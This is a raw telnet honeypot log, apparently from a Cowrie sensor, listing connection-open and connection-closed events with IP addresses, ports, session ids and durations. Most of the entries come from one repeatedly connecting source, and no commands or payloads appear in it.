{"eventid":"cowrie.session.closed","duration":30.296324253082275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:38.752126Z","src_ip":"50.6.3.16","session":"be2d0f58c988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59782,"dst_ip":"10.17.0.5","dst_port":23,"session":"12863acd94a9","protocol":"telnet","message":"New connection: 50.6.3.16:59782 (10.17.0.5:23) [session: 12863acd94a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:39.366570Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59790,"dst_ip":"10.17.0.5","dst_port":23,"session":"30546bfbbce5","protocol":"telnet","message":"New connection: 50.6.3.16:59790 (10.17.0.5:23) [session: 30546bfbbce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:39.628561Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35480,"dst_ip":"159.203.135.109","dst_port":23,"session":"aadf3ba5f36e","protocol":"telnet","message":"New connection: 135.148.33.91:35480 (159.203.135.109:23) [session: aadf3ba5f36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:39.870153Z"}
{"eventid":"cowrie.session.closed","duration":31.191304445266724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:40.393338Z","src_ip":"50.6.3.16","session":"4b4d7b9c4ace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59786,"dst_ip":"10.17.0.5","dst_port":23,"session":"5804e2a63fc7","protocol":"telnet","message":"New connection: 50.6.3.16:59786 (10.17.0.5:23) [session: 5804e2a63fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:40.399431Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59798,"dst_ip":"10.17.0.5","dst_port":23,"session":"e98c86c36835","protocol":"telnet","message":"New connection: 50.6.3.16:59798 (10.17.0.5:23) [session: e98c86c36835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:41.287972Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59802,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f8565de302f","protocol":"telnet","message":"New connection: 50.6.3.16:59802 (10.17.0.5:23) [session: 7f8565de302f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:42.232136Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59816,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffc9c2fc4e2b","protocol":"telnet","message":"New connection: 50.6.3.16:59816 (10.17.0.5:23) [session: ffc9c2fc4e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:43.178928Z"}
{"eventid":"cowrie.session.closed","duration":31.7062771320343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:43.250191Z","src_ip":"50.6.3.16","session":"e2effbb78817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59818,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11047181420","protocol":"telnet","message":"New connection: 50.6.3.16:59818 (10.17.0.5:23) [session: f11047181420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:45.063182Z"}
{"eventid":"cowrie.session.closed","duration":31.074605464935303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:45.239796Z","src_ip":"50.6.3.16","session":"3faca6071b81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59814,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f021efc42ef","protocol":"telnet","message":"New connection: 50.6.3.16:59814 (10.17.0.5:23) [session: 0f021efc42ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:45.454889Z"}
{"eventid":"cowrie.session.closed","duration":30.614347219467163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:47.965611Z","src_ip":"50.6.3.16","session":"647352862725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.33.12.13","src_port":40695,"dst_ip":"159.203.135.109","dst_port":23,"session":"26892423028e","protocol":"telnet","message":"New connection: 114.33.12.13:40695 (159.203.135.109:23) [session: 26892423028e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:49.441966Z"}
{"eventid":"cowrie.session.closed","duration":0.2209007740020752,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:49.662776Z","src_ip":"114.33.12.13","session":"26892423028e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59834,"dst_ip":"10.17.0.5","dst_port":23,"session":"e53981b8c363","protocol":"telnet","message":"New connection: 50.6.3.16:59834 (10.17.0.5:23) [session: e53981b8c363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:49.866092Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53296,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4c5c8333ca","protocol":"telnet","message":"New connection: 50.6.3.16:53296 (10.17.0.5:23) [session: fe4c5c8333ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:50.005288Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53306,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa79caaedaef","protocol":"telnet","message":"New connection: 50.6.3.16:53306 (10.17.0.5:23) [session: fa79caaedaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:50.021800Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53308,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5c4247aa855","protocol":"telnet","message":"New connection: 50.6.3.16:53308 (10.17.0.5:23) [session: e5c4247aa855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:51.288079Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53320,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e914b16e618","protocol":"telnet","message":"New connection: 50.6.3.16:53320 (10.17.0.5:23) [session: 8e914b16e618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:51.972839Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53324,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e693f04fa43","protocol":"telnet","message":"New connection: 50.6.3.16:53324 (10.17.0.5:23) [session: 6e693f04fa43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:51.983851Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53332,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6dfdf5db44","protocol":"telnet","message":"New connection: 50.6.3.16:53332 (10.17.0.5:23) [session: 7a6dfdf5db44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:52.392172Z"}
{"eventid":"cowrie.session.closed","duration":30.738089561462402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:53.707247Z","src_ip":"50.6.3.16","session":"3c2f96bf08ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53344,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb35ac6c114c","protocol":"telnet","message":"New connection: 50.6.3.16:53344 (10.17.0.5:23) [session: cb35ac6c114c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:54.697341Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53354,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fa8baf80e65","protocol":"telnet","message":"New connection: 50.6.3.16:53354 (10.17.0.5:23) [session: 9fa8baf80e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:55.939102Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53366,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed189495daaf","protocol":"telnet","message":"New connection: 50.6.3.16:53366 (10.17.0.5:23) [session: ed189495daaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:56.474056Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53382,"dst_ip":"10.17.0.5","dst_port":23,"session":"22b2b29f69ca","protocol":"telnet","message":"New connection: 50.6.3.16:53382 (10.17.0.5:23) [session: 22b2b29f69ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:56.756737Z"}
{"eventid":"cowrie.session.closed","duration":31.01668906211853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:56.804078Z","src_ip":"50.6.3.16","session":"16360e48718d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.716331243515015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:56.809584Z","src_ip":"50.6.3.16","session":"a0d0217e3e52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03605008125305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:57.133767Z","src_ip":"50.6.3.16","session":"08ad7e84e094","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53386,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb2932e77d97","protocol":"telnet","message":"New connection: 50.6.3.16:53386 (10.17.0.5:23) [session: fb2932e77d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:57.686212Z"}
{"eventid":"cowrie.session.closed","duration":30.672539949417114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:57.725561Z","src_ip":"50.6.3.16","session":"3219b24ebfcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53396,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7034947caba","protocol":"telnet","message":"New connection: 50.6.3.16:53396 (10.17.0.5:23) [session: d7034947caba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:57.907492Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42576,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f14363499b","protocol":"telnet","message":"New connection: 50.6.3.16:42576 (10.17.0.5:23) [session: 37f14363499b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:58.041770Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42586,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a1684ac863e","protocol":"telnet","message":"New connection: 50.6.3.16:42586 (10.17.0.5:23) [session: 6a1684ac863e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:36:59.071025Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42588,"dst_ip":"10.17.0.5","dst_port":23,"session":"800b0e3d90ac","protocol":"telnet","message":"New connection: 50.6.3.16:42588 (10.17.0.5:23) [session: 800b0e3d90ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:00.064035Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42598,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a6992e376c","protocol":"telnet","message":"New connection: 50.6.3.16:42598 (10.17.0.5:23) [session: c6a6992e376c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:00.091213Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42612,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b416e13d9d5","protocol":"telnet","message":"New connection: 50.6.3.16:42612 (10.17.0.5:23) [session: 3b416e13d9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:00.554085Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42628,"dst_ip":"10.17.0.5","dst_port":23,"session":"9efaa6753055","protocol":"telnet","message":"New connection: 50.6.3.16:42628 (10.17.0.5:23) [session: 9efaa6753055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:01.022998Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42632,"dst_ip":"10.17.0.5","dst_port":23,"session":"259c2e31125b","protocol":"telnet","message":"New connection: 50.6.3.16:42632 (10.17.0.5:23) [session: 259c2e31125b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:01.734160Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42642,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bf1ff9c0ee6","protocol":"telnet","message":"New connection: 50.6.3.16:42642 (10.17.0.5:23) [session: 3bf1ff9c0ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:02.758594Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42658,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d198ab094a2","protocol":"telnet","message":"New connection: 50.6.3.16:42658 (10.17.0.5:23) [session: 9d198ab094a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:02.908019Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42672,"dst_ip":"10.17.0.5","dst_port":23,"session":"2898b70102d9","protocol":"telnet","message":"New connection: 50.6.3.16:42672 (10.17.0.5:23) [session: 2898b70102d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:03.880044Z"}
{"eventid":"cowrie.session.closed","duration":31.071625471115112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:05.013049Z","src_ip":"50.6.3.16","session":"67342ea19be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42676,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f8b150d508","protocol":"telnet","message":"New connection: 50.6.3.16:42676 (10.17.0.5:23) [session: 09f8b150d508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:05.025334Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42680,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c82d585ab9","protocol":"telnet","message":"New connection: 50.6.3.16:42680 (10.17.0.5:23) [session: 45c82d585ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:05.405926Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42688,"dst_ip":"10.17.0.5","dst_port":23,"session":"87cf54b016ba","protocol":"telnet","message":"New connection: 50.6.3.16:42688 (10.17.0.5:23) [session: 87cf54b016ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:07.021106Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42700,"dst_ip":"10.17.0.5","dst_port":23,"session":"494041d52970","protocol":"telnet","message":"New connection: 50.6.3.16:42700 (10.17.0.5:23) [session: 494041d52970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:07.297919Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42706,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5005826ed2f","protocol":"telnet","message":"New connection: 50.6.3.16:42706 (10.17.0.5:23) [session: c5005826ed2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:07.411777Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42720,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a22c967f15","protocol":"telnet","message":"New connection: 50.6.3.16:42720 (10.17.0.5:23) [session: e8a22c967f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:07.663162Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42730,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a153339789","protocol":"telnet","message":"New connection: 50.6.3.16:42730 (10.17.0.5:23) [session: b6a153339789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:07.877555Z"}
{"eventid":"cowrie.session.closed","duration":30.898825883865356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:07.927892Z","src_ip":"50.6.3.16","session":"fc63ed3edf66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34534,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d56dcfe5bbd","protocol":"telnet","message":"New connection: 50.6.3.16:34534 (10.17.0.5:23) [session: 2d56dcfe5bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:08.656290Z"}
{"eventid":"cowrie.session.closed","duration":30.412927389144897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:09.779400Z","src_ip":"50.6.3.16","session":"12863acd94a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.187496662139893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:10.586880Z","src_ip":"50.6.3.16","session":"5804e2a63fc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34550,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0c7ca9305b5","protocol":"telnet","message":"New connection: 50.6.3.16:34550 (10.17.0.5:23) [session: e0c7ca9305b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:11.093642Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34566,"dst_ip":"10.17.0.5","dst_port":23,"session":"541510827ee7","protocol":"telnet","message":"New connection: 50.6.3.16:34566 (10.17.0.5:23) [session: 541510827ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:11.249975Z"}
{"eventid":"cowrie.session.closed","duration":31.908796072006226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:11.537093Z","src_ip":"50.6.3.16","session":"30546bfbbce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065225839614868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:12.353076Z","src_ip":"50.6.3.16","session":"e98c86c36835","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34574,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d338dc857b7","protocol":"telnet","message":"New connection: 50.6.3.16:34574 (10.17.0.5:23) [session: 1d338dc857b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:12.504794Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34582,"dst_ip":"10.17.0.5","dst_port":23,"session":"06b4db06e675","protocol":"telnet","message":"New connection: 50.6.3.16:34582 (10.17.0.5:23) [session: 06b4db06e675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:12.986194Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34592,"dst_ip":"10.17.0.5","dst_port":23,"session":"13922ec1fb00","protocol":"telnet","message":"New connection: 50.6.3.16:34592 (10.17.0.5:23) [session: 13922ec1fb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:12.990835Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34594,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac0d97a3899","protocol":"telnet","message":"New connection: 50.6.3.16:34594 (10.17.0.5:23) [session: dac0d97a3899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:13.385840Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34596,"dst_ip":"10.17.0.5","dst_port":23,"session":"caf556c5241d","protocol":"telnet","message":"New connection: 50.6.3.16:34596 (10.17.0.5:23) [session: caf556c5241d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:13.399254Z"}
{"eventid":"cowrie.session.closed","duration":31.183096647262573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:13.415074Z","src_ip":"50.6.3.16","session":"7f8565de302f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"3620dd5d72cf","protocol":"telnet","message":"New connection: 50.6.3.16:34608 (10.17.0.5:23) [session: 3620dd5d72cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:13.466805Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34622,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d877c3ba8eb","protocol":"telnet","message":"New connection: 50.6.3.16:34622 (10.17.0.5:23) [session: 1d877c3ba8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:13.818824Z"}
{"eventid":"cowrie.session.closed","duration":31.099284410476685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:14.278138Z","src_ip":"50.6.3.16","session":"ffc9c2fc4e2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34624,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c223b4ef22","protocol":"telnet","message":"New connection: 50.6.3.16:34624 (10.17.0.5:23) [session: 25c223b4ef22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:14.611948Z"}
{"eventid":"cowrie.session.closed","duration":30.100825309753418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:15.555600Z","src_ip":"50.6.3.16","session":"0f021efc42ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51442575454712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:15.577505Z","src_ip":"50.6.3.16","session":"f11047181420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ca53b5c1ca","protocol":"telnet","message":"New connection: 50.6.3.16:34628 (10.17.0.5:23) [session: 85ca53b5c1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:15.642189Z"}
{"eventid":"cowrie.session.closed","duration":37.440646171569824,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:17.310694Z","src_ip":"135.148.33.91","session":"aadf3ba5f36e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34548,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c5d3e689cba","protocol":"telnet","message":"New connection: 50.6.3.16:34548 (10.17.0.5:23) [session: 4c5d3e689cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:18.034925Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34556,"dst_ip":"10.17.0.5","dst_port":23,"session":"870398fb5809","protocol":"telnet","message":"New connection: 50.6.3.16:34556 (10.17.0.5:23) [session: 870398fb5809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:19.241043Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34558,"dst_ip":"10.17.0.5","dst_port":23,"session":"da1f9f80219d","protocol":"telnet","message":"New connection: 50.6.3.16:34558 (10.17.0.5:23) [session: da1f9f80219d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:19.280790Z"}
